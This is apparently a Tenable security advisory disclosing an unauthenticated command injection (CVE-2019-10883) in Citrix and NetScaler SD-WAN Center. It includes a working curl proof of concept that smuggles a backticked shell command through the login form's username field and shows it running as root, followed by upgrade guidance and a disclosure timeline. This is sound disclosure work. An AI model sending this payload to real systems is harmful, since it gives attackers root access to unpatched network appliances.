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Citrix SD-WAN Center and NetScaler SD-WAN Center Unauthenticated Remote Command Injection

Critical
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Synopsis

While developing a Nessus plugin for CVE-2017-6316, Tenable found an unauthenticated remote operating system command injection vulnerability in Citrix SD-WAN Center 10.2.0.136.733315.

The vulnerability appears to be in /home/talariuser/www/app/Controller/UsersController.php. The controller has insufficient validation of user-supplied data ($username). An unauthenticated remote attacker can use the following CURL command to run arbitrary OS commands on the remote host:

curl -skv --tlsv1.2 -d '_method=POST&data%5BUser%5D%5Busername%5D=%60sudo%20id%20>/tmp/test%60&data%5BUser%5D%5Bpassword%5D=my_password&data%5BUser%5D%5BsecPassword%5D=my_secPassword' 'https://[target_host]/login'

With command output:

[email protected]:/home/talariuser/www/app/Controller# cat /tmp/test
uid=0(root) gid=0(root) groups=0(root)

Solution

Upgrade NetScaler SD-WAN Center to 10.0.7 or newer. Upgrade Citrix SD-WAN Center to 10.2.1 or newer. Follow Citrix's security best practices to further enhance your security posture.

Additional References

https://support.citrix.com/article/CTX247737

Disclosure Timeline

01/28/19 - Vulnerability discovered.
02/07/19 - Tenable reported to [email protected] via encrypted email. 90 days is May 9th.
02/08/19 - Citrix acknowledges and asks for Tenable's public key.
02/08/19 - Tenable sends a public key.
02/26/19 - Citrix acknowledges they've reproduced the vulnerability.
02/26/19 - Tenable thanks Citrix.
04/03/19 - Tenable asks Citrix for an update.
04/04/19 - Citrix indicates they are getting a CVE assigned and a bulletin ready. Asks Tenable who to credit.
04/04/19 - Tenable says "Tenable, Inc." and offers to assign the CVE.
04/08/19 - Citrix indicates April 10th is the disclosure date and notes they already have a CVE allocated.
04/08/19 - Tenable asks for a copy of the draft bulletin or CVE assignment.
04/08/19 - Citrix assigned CVE-2019-10883. Can't share bulletin.
04/08/19 - Tenable thanks Citrix.
04/10/19 - Citrix notifies Tenable of publication and thanks Tenable.
04/10/19 - Tenable thanks Citrix.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2019-10883
Tenable Advisory ID
TRA-2019-18
CVSSv2 Base / Temporal Score
10.0 / 8.3
CVSSv2 Vector
AV:N/AC:L/Au:N/C:C/I:C/A:C
Affected Products
NetScaler SD-WAN Center 9.x
NetScaler SD-WAN Center 10.0.x before 10.0.07
Citrix SD-WAN Center 10.1.x
Citrix SD-WAN Center 10.2.x before 10.2.1
Risk Factor
Critical

Advisory Timeline

04/10/2019 - Initial Release
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